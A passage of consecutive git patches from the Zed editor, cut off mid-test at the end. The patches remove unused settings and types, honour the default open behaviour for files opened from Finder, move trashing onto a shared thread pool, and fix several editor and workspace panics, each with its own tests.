+        let entry = state
+            .servers_per_buffer_abs_path
+            .get(&buffer)
+            .expect("buffer must still be tracked");
+        assert_eq!(
+            entry.servers.keys().copied().collect::<Vec<_>>(),
+            vec![server_id(2)],
+            "exactly one server for this buffer — the new incarnation",
+        );
+        assert!(
+            !state.health_statuses.contains_key(&server_id(1)),
+            "the dead server's health entry must not linger",
+        );
+        assert!(
+            state.health_statuses.contains_key(&server_id(2)),
+            "the new server's health entry is present",
+        );
+    }
+}

From 21d66eb9d593dafdf9d878ddeae0e7fcd08549df Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 2 Jul 2026 13:45:37 +0200
Subject: [PATCH 213/772] settings: Remove unused `message_editor` setting
 (#60260)

Used this at one point when we still had chat in Collab, but now it's
unused.

Release Notes:

- N/A
---
 assets/settings/default.json                  |  5 ----
 crates/settings/src/vscode_import.rs          |  1 -
 .../settings_content/src/settings_content.rs  | 13 ----------
 crates/settings_ui/src/page_data.rs           | 26 +------------------
 4 files changed, 1 insertion(+), 44 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 74c6252fe73539..8725587ade6d68 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1025,11 +1025,6 @@
     // Default: project_diff
     "entry_primary_click_action": "project_diff",
   },
-  "message_editor": {
-    // Whether to automatically replace emoji shortcodes with emoji characters.
-    // For example: typing `:wave:` gets replaced with `👋`.
-    "auto_replace_emoji_shortcode": true,
-  },
   "agent": {
     // Whether the inline assistant should use streaming tools, when available
     "inline_assistant_use_streaming_tools": true,
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 75b953e7cbc3d0..f7ad53118d3a61 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -199,7 +199,6 @@ impl VsCodeSettings {
             language_models: None,
             line_indicator_format: None,
             log: None,
-            message_editor: None,
             node: self.node_binary_settings(),
 
             outline_panel: self.outline_panel_settings_content(),
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index a1d1a43381524c..f0f652d2baa4ad 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -211,9 +211,6 @@ pub struct SettingsContent {
 
     pub project_panel: Option<ProjectPanelSettingsContent>,
 
-    /// Configuration for the Message Editor
-    pub message_editor: Option<MessageEditorSettings>,
-
     /// Configuration for Node-related features
     pub node: Option<NodeBinarySettings>,
 
@@ -839,16 +836,6 @@ pub struct PanelSettingsContent {
     pub default_width: Option<f32>,
 }
 
-#[with_fallible_options]
-#[derive(Clone, Default, Serialize, Deserialize, JsonSchema, MergeFrom, Debug, PartialEq)]
-pub struct MessageEditorSettings {
-    /// Whether to automatically replace emoji shortcodes with emoji characters.
-    /// For example: typing `:wave:` gets replaced with `👋`.
-    ///
-    /// Default: false
-    pub auto_replace_emoji_shortcode: Option<bool>,
-}
-
 #[with_fallible_options]
 #[derive(Clone, Default, Serialize, Deserialize, JsonSchema, MergeFrom, Debug, PartialEq)]
 pub struct FileFinderSettingsContent {
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 34ee4440729a93..94dff0038f0c78 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -9791,7 +9791,7 @@ fn language_settings_data() -> Box<[SettingsPageItem]> {
         ]
     }
 
-    fn global_only_miscellaneous_sub_section() -> [SettingsPageItem; 4] {
+    fn global_only_miscellaneous_sub_section() -> [SettingsPageItem; 3] {
         [
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Image Viewer",
@@ -9871,30 +9871,6 @@ fn language_settings_data() -> Box<[SettingsPageItem]> {
                     }],
                 ],
             }),
-            SettingsPageItem::SettingItem(SettingItem {
-                title: "Auto Replace Emoji Shortcode",
-                description: "Whether to automatically replace emoji shortcodes with emoji characters.",
-                field: Box::new(SettingField {
-                    organization_override: None,
-                    json_path: Some("message_editor.auto_replace_emoji_shortcode"),
-                    pick: |settings_content| {
-                        settings_content
-                            .message_editor
-                            .as_ref()
-                            .and_then(|message_editor| {
-                                message_editor.auto_replace_emoji_shortcode.as_ref()
-                            })
-                    },
-                    write: |settings_content, value, _| {
-                        settings_content
-                            .message_editor
-                            .get_or_insert_default()
-                            .auto_replace_emoji_shortcode = value;
-                    },
-                }),
-                metadata: None,
-                files: USER,
-            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Drop Size Target",
                 description: "Relative size of the drop target in the editor that will open dropped file as a split pane.",

From c55693876ee2e8b3868a2287b22be1c1394058a3 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Thu, 2 Jul 2026 08:38:43 -0400
Subject: [PATCH 214/772] cloud_api_types: Remove unused
 `AcceptTermsOfServiceResponse` type (#60226)

This PR removes the `AcceptTermsOfServiceResponse` struct, as it is no
longer used.

Release Notes:

- N/A
---
 crates/cloud_api_types/src/cloud_api_types.rs | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/crates/cloud_api_types/src/cloud_api_types.rs b/crates/cloud_api_types/src/cloud_api_types.rs
index a06e0268c96f48..0de0a5444d9da2 100644
--- a/crates/cloud_api_types/src/cloud_api_types.rs
+++ b/crates/cloud_api_types/src/cloud_api_types.rs
@@ -71,11 +71,6 @@ pub struct OrganizationEditPredictionConfiguration {
     pub is_feedback_enabled: bool,
 }
 
-#[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct AcceptTermsOfServiceResponse {
-    pub user: AuthenticatedUser,
-}
-
 #[derive(Debug, PartialEq, Clone, Serialize, Deserialize)]
 pub struct LlmToken(pub String);
 

From 52b61cf424b3d731994dcde1477374b5d8e49160 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 2 Jul 2026 14:56:04 +0200
Subject: [PATCH 215/772] zed: Respect `default_open_behavior` when opening
 file from Finder (#59661)

Follow up to #59551 so that it also works when opening a single file,
e.g. from finder

See #59950

Release Notes:

- N/A
---
 crates/zed/src/zed/open_listener.rs | 52 +++++++++++++++++++++++++++--
 1 file changed, 49 insertions(+), 3 deletions(-)

diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index a992dfe4fd986c..fd0705d5d94028 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -750,9 +750,13 @@ pub(crate) fn open_options_for_request(
     location: &SerializedWorkspaceLocation,
     cx: &App,
 ) -> workspace::OpenOptions {
-    open_behavior.map_or_else(workspace::OpenOptions::default, |open_behavior| {
-        open_options_for_behavior(open_behavior, location, cx)
-    })
+    let open_behavior = open_behavior.unwrap_or_else(|| {
+        match workspace::WorkspaceSettings::get_global(cx).default_open_behavior {
+            settings::DefaultOpenBehavior::ExistingWindow => cli::OpenBehavior::ExistingWindow,
+            settings::DefaultOpenBehavior::NewWindow => cli::OpenBehavior::PreferNewWindow,
+        }
+    });
+    open_options_for_behavior(open_behavior, location, cx)
 }
 
 pub(crate) fn open_options_for_behavior(
@@ -1364,6 +1368,48 @@ mod tests {
         assert!(options.requesting_window.is_none());
     }
 
+    #[gpui::test]
+    fn test_open_options_for_request_respects_default_open_behavior(cx: &mut TestAppContext) {
+        use gpui::UpdateGlobal as _;
+
+        let _app_state = init_test(cx);
+
+        // A `None` behavior (e.g. a Finder or URL open) consults the UI-level
+        // `default_open_behavior` setting rather than falling back to fixed
+        // defaults.
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.workspace.default_open_behavior =
+                        Some(settings::DefaultOpenBehavior::NewWindow);
+                });
+            });
+        });
+        let options =
+            cx.update(|cx| open_options_for_request(None, &SerializedWorkspaceLocation::Local, cx));
+        assert_eq!(
+            options.workspace_matching,
+            workspace::WorkspaceMatching::MatchSubpaths
+        );
+        assert!(!options.add_dirs_to_sidebar);
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.workspace.default_open_behavior =
+                        Some(settings::DefaultOpenBehavior::ExistingWindow);
+                });
+            });
+        });
+        let options =
+            cx.update(|cx| open_options_for_request(None, &SerializedWorkspaceLocation::Local, cx));
+        assert_eq!(
+            options.workspace_matching,
+            workspace::WorkspaceMatching::MatchExact
+        );
+        assert!(options.add_dirs_to_sidebar);
+    }
+
     #[gpui::test]
     fn test_parse_agent_url(cx: &mut TestAppContext) {
         let _app_state = init_test(cx);

From 442a3476bcaf8090e8e7ecaa4c0c1254236ff10f Mon Sep 17 00:00:00 2001
From: Marco Groot <60631182+marcogroot@users.noreply.github.com>
Date: Thu, 2 Jul 2026 23:01:57 +1000
Subject: [PATCH 216/772] Fix crash when trashing all untracked files (#60235)

# Objective

Fixes a crash when trashing a large number of untracked files from the
Git Panel, caused by unbounded OS thread spawning (thread explosion).

## Solution

`GitPanel::clean_all()` builds one deletion task per untracked file and
then awaits them one by one. Since GPUI tasks start executing as soon as
they are spawned, not when they are awaited, all deletions run
concurrently. Each of them called `RealFs::trash`, which spawned a
dedicated OS thread per call, so a large enough batch exceeded the OS
per-process thread limit and panicked at the `.expect("The os can spawn
threads")` in `RealFs::trash`.

This PR replaces the dedicated thread with `smol::unblock`, which runs
the blocking `trash::delete_with_info` call on a shared thread pool that
is capped and queues additional work instead of spawning more. This is
the same idiom already used elsewhere in the file (e.g. `atomic_write`)
for blocking filesystem work.

## Testing

- Did you test these changes? If so, how?
yes, reproduced using steps in the issue before and after and confirmed
fix works.


https://github.com/user-attachments/assets/d3bcd049-485a-486f-877a-0e5c21b7917c

Reproduction steps here:
https://github.com/zed-industries/zed/issues/60216

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #60216

---

Release Notes:

- Fixed a crash caused by spawning one thread per file when trashing a
large number of untracked files from the Git Panel.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/fs/src/fs.rs | 9 +--------
 1 file changed, 1 insertion(+), 8 deletions(-)

diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 59fe449b185b1c..746c45d9f826ce 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -807,15 +807,8 @@ impl Fs for RealFs {
         // its target and leave the link behind.
         let path = std::path::absolute(path).context("Could not make the path absolute")?;
 
-        let (tx, rx) = futures::channel::oneshot::channel();
-        std::thread::Builder::new()
-            .name("trash file or dir".to_string())
-            .spawn(|| tx.send(trash::delete_with_info(path)))
-            .expect("The os can spawn threads");
-
-        Ok(rx
+        Ok(smol::unblock(move || trash::delete_with_info(path))
             .await
-            .context("Tx dropped or fs.restore panicked")?
             .context("Could not trash file or dir")?
             .into())
     }

From 2ec0e6c2d7024f684e8bc23ce5882419b81f7f11 Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Thu, 2 Jul 2026 14:07:34 +0100
Subject: [PATCH 217/772] editor: Fix panic when confirming completion across
 buffers (#59471)

In multi-buffer context, `do_completion` resolved the completion's
replace range anchors against whichever buffer currently held the newest
selection. If that selection had moved into a different file's excerpt
(while the menu remained open), the anchors belonged to a different
buffer and caused a panic.

This PR adds a guard to confirm the completion buffer and selection
buffer is the same.

Closes FR-76.

---

Release Notes:

- Fixed a panic that could occur when confirming a completion in a
multibuffer if the cursor had moved into a different file
---
 crates/editor/src/completions.rs  |  21 ++--
 crates/editor/src/editor_tests.rs | 196 ++++++++++++++++++++++++++++++
 2 files changed, 209 insertions(+), 8 deletions(-)

diff --git a/crates/editor/src/completions.rs b/crates/editor/src/completions.rs
index e2f0be07ce0968..8ad37dcfd63ec4 100644
--- a/crates/editor/src/completions.rs
+++ b/crates/editor/src/completions.rs
@@ -830,14 +830,19 @@ impl Editor {
         let old_text = buffer
             .text_for_range(replace_range.clone())
             .collect::<String>();
-        let lookbehind = newest_range_buffer
-            .start
-            .to_offset(buffer_snapshot)
-            .saturating_sub(replace_range.start.to_offset(&buffer_snapshot));
-        let lookahead = replace_range
-            .end
-            .to_offset(&buffer_snapshot)
-            .saturating_sub(newest_range_buffer.end.to_offset(&buffer));
+        let (lookbehind, lookahead) = if buffer.remote_id() == buffer_snapshot.remote_id() {
+            let lookbehind = newest_range_buffer
+                .start
+                .to_offset(&buffer)
+                .saturating_sub(replace_range.start.to_offset(&buffer));
+            let lookahead = replace_range
+                .end
+                .to_offset(&buffer)
+                .saturating_sub(newest_range_buffer.end.to_offset(&buffer));
+            (lookbehind, lookahead)
+        } else {
+            (0, 0)
+        };
         let prefix = &old_text[..old_text.len().saturating_sub(lookahead)];
         let suffix = &old_text[lookbehind.min(old_text.len())..];
 
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index dc50483f4962ea..145ceaa6943849 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -17779,6 +17779,202 @@ async fn test_completion_in_multibuffer_with_replace_range(cx: &mut TestAppConte
     })
 }
 
+#[gpui::test]
+async fn test_completion_in_multibuffer_with_newest_selection_in_other_buffer(
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let main_text = indoc! {"
+        fn main() {
+            10.satu
+        }
+    "};
+    let other_text = indoc! {"
+        const VALUE: u32 = 0;
+    "};
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/a"),
+        json!({
+            "main.rs": main_text,
+            "other.rs": other_text,
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/a").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                completion_provider: Some(lsp::CompletionOptions {
+                    resolve_provider: None,
+                    ..lsp::CompletionOptions::default()
+                }),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(*window, cx);
+    let main_buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/a/main.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let other_buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/a/other.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let multi_buffer = cx.new(|cx| {
+        let mut multi_buffer = MultiBuffer::new(Capability::ReadWrite);
+        multi_buffer.set_excerpts_for_path(
+            PathKey::sorted(0),
+            main_buffer.clone(),
+            [Point::zero()..main_buffer.read(cx).max_point()],
+            0,
+            cx,
+        );
+        multi_buffer.set_excerpts_for_path(
+            PathKey::sorted(1),
+            other_buffer.clone(),
+            [Point::zero()..other_buffer.read(cx).max_point()],
+            0,
+            cx,
+        );
+        multi_buffer
+    });
+
+    let editor = workspace.update_in(cx, |_, window, cx| {
+        cx.new(|cx| {
+            Editor::new(
+                EditorMode::Full {
+                    scale_ui_elements_with_buffer_font_size: false,
+                    show_active_line_background: false,
+                    sizing_behavior: SizingBehavior::Default,
+                },
+                multi_buffer.clone(),
+                Some(project.clone()),
+                window,
+                cx,
+            )
+        })
+    });
+
+    let pane = workspace.update_in(cx, |workspace, _, _| workspace.active_pane().clone());
+    pane.update_in(cx, |pane, window, cx| {
+        pane.add_item(Box::new(editor.clone()), true, true, None, window, cx);
+    });
+
+    let fake_server = fake_servers.next().await.unwrap();
+    cx.run_until_parked();
+
+    // Place the (only, and therefore newest) selection in `main.rs`, right after `satu`.
+    let main_cursor = editor.update(cx, |editor, cx| {
+        let multibuffer_snapshot = editor.buffer().read(cx).snapshot(cx);
+        let main_snapshot = main_buffer.read(cx).snapshot();
+        let anchor = main_snapshot.anchor_before(Point::new(1, 11));
+        multibuffer_snapshot
+            .buffer_anchor_range_to_anchor_range(anchor..anchor)
+            .expect("main.rs cursor position should map into the multibuffer")
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
+            s.select_anchor_ranges([main_cursor.clone()]);
+        });
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.show_completions(&ShowCompletions, window, cx);
+    });
+
+    fake_server
+        .set_request_handler::<lsp::request::Completion, _, _>(move |_, _| async move {
+            let completion_item = lsp::CompletionItem {
+                label: "saturating_sub()".into(),
+                text_edit: Some(lsp::CompletionTextEdit::InsertAndReplace(
+                    lsp::InsertReplaceEdit {
+                        new_text: "saturating_sub()".to_owned(),
+                        insert: lsp::Range::new(
+                            lsp::Position::new(1, 7),
+                            lsp::Position::new(1, 11),
+                        ),
+                        replace: lsp::Range::new(
+                            lsp::Position::new(1, 7),
+                            lsp::Position::new(1, 11),
+                        ),
+                    },
+                )),
+                ..lsp::CompletionItem::default()
+            };
+
+            Ok(Some(lsp::CompletionResponse::Array(vec![completion_item])))
+        })
+        .next()
+        .await
+        .unwrap();
+
+    cx.condition(&editor, |editor, _| editor.context_menu_visible())
+        .await;
+
+    // Move the newest selection into `other.rs` while keeping the completions menu
+    // open.
+    let other_cursor = editor.update(cx, |editor, cx| {
+        let multibuffer_snapshot = editor.buffer().read(cx).snapshot(cx);
+        let other_snapshot = other_buffer.read(cx).snapshot();
+        let anchor = other_snapshot.anchor_before(Point::new(0, 6));
+        multibuffer_snapshot
+            .buffer_anchor_range_to_anchor_range(anchor..anchor)
+            .expect("other.rs cursor position should map into the multibuffer")
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(
+            SelectionEffects::no_scroll().completions(false),
+            window,
+            cx,
+            |s| s.select_anchor_ranges([other_cursor.clone()]),
+        );
+        assert!(
+            editor.context_menu_visible(),
+            "the completions menu should still be open after moving the cursor"
+        );
+    });
+
+    // This used to panic with `invalid anchor - buffer id does not match`.
+    editor
+        .update_in(cx, |editor, window, cx| {
+            editor
+                .confirm_completion_replace(&ConfirmCompletionReplace, window, cx)
+                .unwrap()
+        })
+        .await
+        .unwrap();
+
+    // The completion targets `main.rs`, so it should still be applied there.
+    main_buffer.read_with(cx, |buffer, _| {
+        assert_eq!(
+            buffer.text(),
+            indoc! {"
+                fn main() {
+                    10.saturating_sub()
+                }
+            "}
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_completion(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 969c6c719ca10102903590e15601c55b57a8838e Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Thu, 2 Jul 2026 14:07:42 +0100
Subject: [PATCH 218/772] editor: Fix panic when restoring empty selections on
 undo/redo (#59372)

Closes FR-81.

Also updates the error log, as the linked issue is closed.

Release Notes:

- Fixed panic when restoring empty selections on undo/redo
---
 crates/editor/src/editor.rs       | 88 +++++++++++++++----------------
 crates/editor/src/editor_tests.rs | 33 ++++++++++++
 crates/vim/src/command.rs         |  4 +-
 crates/vim/src/normal.rs          |  3 +-
 4 files changed, 80 insertions(+), 48 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index dbc177e7a9326a..36b5209a5c0530 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -1387,11 +1387,15 @@ struct DeferredSelectionEffectsState {
     history_entry: SelectionHistoryEntry,
 }
 
+#[derive(Clone, Debug)]
+pub struct TransactionSelections {
+    pub undo: Arc<[Selection<Anchor>]>,
+    pub redo: Option<Arc<[Selection<Anchor>]>>,
+}
+
 #[derive(Default)]
 struct SelectionHistory {
-    #[allow(clippy::type_complexity)]
-    selections_by_transaction:
-        HashMap<TransactionId, (Arc<[Selection<Anchor>]>, Option<Arc<[Selection<Anchor>]>>)>,
+    selections_by_transaction: HashMap<TransactionId, TransactionSelections>,
     mode: SelectionHistoryMode,
     undo_stack: VecDeque<SelectionHistoryEntry>,
     redo_stack: VecDeque<SelectionHistoryEntry>,
@@ -1411,23 +1415,23 @@ impl SelectionHistory {
             );
             return;
         }
-        self.selections_by_transaction
-            .insert(transaction_id, (selections, None));
+        self.selections_by_transaction.insert(
+            transaction_id,
+            TransactionSelections {
+                undo: selections,
+                redo: None,
+            },
+        );
     }
 
-    #[allow(clippy::type_complexity)]
-    fn transaction(
-        &self,
-        transaction_id: TransactionId,
-    ) -> Option<&(Arc<[Selection<Anchor>]>, Option<Arc<[Selection<Anchor>]>>)> {
+    fn transaction(&self, transaction_id: TransactionId) -> Option<&TransactionSelections> {
         self.selections_by_transaction.get(&transaction_id)
     }
 
-    #[allow(clippy::type_complexity)]
     fn transaction_mut(
         &mut self,
         transaction_id: TransactionId,
-    ) -> Option<&mut (Arc<[Selection<Anchor>]>, Option<Arc<[Selection<Anchor>]>>)> {
+    ) -> Option<&mut TransactionSelections> {
         self.selections_by_transaction.get_mut(&transaction_id)
     }
 
@@ -7495,26 +7499,31 @@ impl Editor {
         });
     }
 
+    fn restore_selections(
+        &mut self,
+        selections: Option<Arc<[Selection<Anchor>]>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(selections) = selections.filter(|selections| !selections.is_empty()) {
+            self.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
+                s.select_anchors(selections.to_vec());
+            });
+        }
+    }
+
     pub fn undo(&mut self, _: &Undo, window: &mut Window, cx: &mut Context<Self>) {
         if self.read_only(cx) {
             return;
         }
 
         if let Some(transaction_id) = self.buffer.update(cx, |buffer, cx| buffer.undo(cx)) {
-            if let Some((selections, _)) =
-                self.selection_history.transaction(transaction_id).cloned()
-            {
-                self.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
-                    s.select_anchors(selections.to_vec());
-                });
-            } else {
-                log::error!(
-                    "No entry in selection_history found for undo. \
-                     This may correspond to a bug where undo does not update the selection. \
-                     If this is occurring, please add details to \
-                     https://github.com/zed-industries/zed/issues/22692"
-                );
+            let transaction = self.selection_history.transaction(transaction_id);
+            if transaction.is_none() {
+                log::error!("No selection history for undone transaction; selection unchanged");
             }
+            let selections = transaction.map(|transaction| transaction.undo.clone());
+            self.restore_selections(selections, window, cx);
             self.request_autoscroll(Autoscroll::fit(), cx);
             self.unmark_text(window, cx);
             self.refresh_edit_prediction(
@@ -7535,20 +7544,11 @@ impl Editor {
         }
 
         if let Some(transaction_id) = self.buffer.update(cx, |buffer, cx| buffer.redo(cx)) {
-            if let Some((_, Some(selections))) =
-                self.selection_history.transaction(transaction_id).cloned()
-            {
-                self.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
-                    s.select_anchors(selections.to_vec());
-                });
-            } else {
-                log::error!(
-                    "No entry in selection_history found for redo. \
-                     This may correspond to a bug where undo does not update the selection. \
-                     If this is occurring, please add details to \
-                     https://github.com/zed-industries/zed/issues/22692"
-                );
-            }
+            let selections = self
+                .selection_history
+                .transaction(transaction_id)
+                .and_then(|transaction| transaction.redo.clone());
+            self.restore_selections(selections, window, cx);
             self.request_autoscroll(Autoscroll::fit(), cx);
             self.unmark_text(window, cx);
             self.refresh_edit_prediction(
@@ -8061,7 +8061,7 @@ impl Editor {
                 // will take you back to where you made the last edit, instead of staying where you scrolled
                 self.selection_history
                     .transaction(transaction_id_prev)
-                    .map(|t| t.0.clone())
+                    .map(|t| t.undo.clone())
             })
             .unwrap_or_else(|| self.selections.disjoint_anchors_arc());
 
@@ -8287,10 +8287,8 @@ impl Editor {
             .buffer
             .update(cx, |buffer, cx| buffer.end_transaction_at(now, cx))
         {
-            if let Some((_, end_selections)) =
-                self.selection_history.transaction_mut(transaction_id)
-            {
-                *end_selections = Some(self.selections.disjoint_anchors_arc());
+            if let Some(transaction) = self.selection_history.transaction_mut(transaction_id) {
+                transaction.redo = Some(self.selections.disjoint_anchors_arc());
             } else {
                 log::error!("unexpectedly ended a transaction that wasn't started by this editor");
             }
@@ -8305,7 +8303,7 @@ impl Editor {
     pub fn modify_transaction_selection_history(
         &mut self,
         transaction_id: TransactionId,
-        modify: impl FnOnce(&mut (Arc<[Selection<Anchor>]>, Option<Arc<[Selection<Anchor>]>>)),
+        modify: impl FnOnce(&mut TransactionSelections),
     ) -> bool {
         self.selection_history
             .transaction_mut(transaction_id)
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 145ceaa6943849..4acdae8d2810bd 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -323,6 +323,39 @@ fn test_undo_redo_with_selection_restoration(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+fn test_undo_redo_with_empty_history_selections_does_not_panic(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let now = Instant::now();
+    let buffer = cx.new(|cx| language::Buffer::local("123456", cx));
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let editor = cx.add_window(|window, cx| build_editor(buffer, window, cx));
+
+    _ = editor.update(cx, |editor, window, cx| {
+        editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
+            s.select_ranges([MultiBufferOffset(0)..MultiBufferOffset(0)])
+        });
+        editor.start_transaction_at(now, window, cx);
+        editor.insert("a", window, cx);
+        let transaction_id = editor
+            .end_transaction_at(now, cx)
+            .expect("transaction should be created");
+        assert_eq!(editor.text(cx), "a123456");
+
+        editor.modify_transaction_selection_history(transaction_id, |selections| {
+            selections.undo = Vec::new().into();
+            selections.redo = Some(Vec::new().into());
+        });
+
+        editor.undo(&Undo, window, cx);
+        assert_eq!(editor.text(cx), "123456");
+
+        editor.redo(&Redo, window, cx);
+        assert_eq!(editor.text(cx), "a123456");
+    });
+}
+
 #[gpui::test]
 fn test_accessibility_keyboard_word_completion(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/vim/src/command.rs b/crates/vim/src/command.rs
index 274fabac9a7224..df6a911329be75 100644
--- a/crates/vim/src/command.rs
+++ b/crates/vim/src/command.rs
@@ -835,8 +835,8 @@ pub fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
                         {
                             let last_sel = editor.selections.disjoint_anchors_arc();
                             editor.modify_transaction_selection_history(tx_id, |old| {
-                                old.0 = old.0.get(..1).unwrap_or(&[]).into();
-                                old.1 = Some(last_sel);
+                                old.undo = old.undo.get(..1).unwrap_or(&[]).into();
+                                old.redo = Some(last_sel);
                             });
                         }
                     });
diff --git a/crates/vim/src/normal.rs b/crates/vim/src/normal.rs
index d91af01a542c2e..389eeb88e618bf 100644
--- a/crates/vim/src/normal.rs
+++ b/crates/vim/src/normal.rs
@@ -160,10 +160,11 @@ pub(crate) fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
         let transaction_id = vim.visual_delete(false, window, cx);
         if let (Some(original_selections), Some(transaction_id)) =
             (original_selections, transaction_id)
+            && !original_selections.is_empty()
         {
             let updated = vim.update_editor(cx, |_, editor, _| {
                 editor.modify_transaction_selection_history(transaction_id, |selections| {
-                    selections.0 = original_selections;
+                    selections.undo = original_selections;
                 })
             });
             debug_assert_ne!(updated, Some(false));

From 7eb4cb2bfa02618761389d5e760a9a9b6763f301 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Thu, 2 Jul 2026 18:43:46 +0530
Subject: [PATCH 219/772] workspace: Fix panic when discarding a draft
 workspace (#60279)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

To reproduce:

1. Open a git project with the agent sidebar, ideally with no other
threads in the sidebar.
2. Create a thread in a new git worktree and type into it without
sending.
3. While still in that worktree workspace, hit New Thread. The parked
draft must now be the last activatable entry in the sidebar.
4. Hover the parked draft → click Discard Draft
5. 💥

Release Notes:

- Fixed a panic when discarding a draft workspace.
---
 crates/workspace/src/multi_workspace.rs       |  4 +-
 crates/workspace/src/multi_workspace_tests.rs | 61 +++++++++++++++++++
 2 files changed, 64 insertions(+), 1 deletion(-)

diff --git a/crates/workspace/src/multi_workspace.rs b/crates/workspace/src/multi_workspace.rs
index 5fd304b73384c1..11461d38ee3793 100644
--- a/crates/workspace/src/multi_workspace.rs
+++ b/crates/workspace/src/multi_workspace.rs
@@ -1228,7 +1228,9 @@ impl MultiWorkspace {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Task<Result<Entity<Workspace>>> {
-        if let Some(workspace) = self.workspace_for_paths(&paths, host.as_ref(), cx) {
+        if let Some(workspace) =
+            self.workspace_for_paths_excluding(&paths, host.as_ref(), excluding, cx)
+        {
             self.activate(workspace.clone(), source_workspace, window, cx);
             return Task::ready(Ok(workspace));
         }
diff --git a/crates/workspace/src/multi_workspace_tests.rs b/crates/workspace/src/multi_workspace_tests.rs
index 72c8150317341c..323fc10fb018dc 100644
--- a/crates/workspace/src/multi_workspace_tests.rs
+++ b/crates/workspace/src/multi_workspace_tests.rs
@@ -506,6 +506,67 @@ async fn test_find_or_create_workspace_uses_project_group_key_when_paths_are_mis
     });
 }
 
+#[gpui::test]
+async fn test_remove_fallback_via_find_or_create_skips_removed_workspaces(cx: &mut TestAppContext) {
+    init_test(cx);
+    let fs = FakeFs::new(cx.executor());
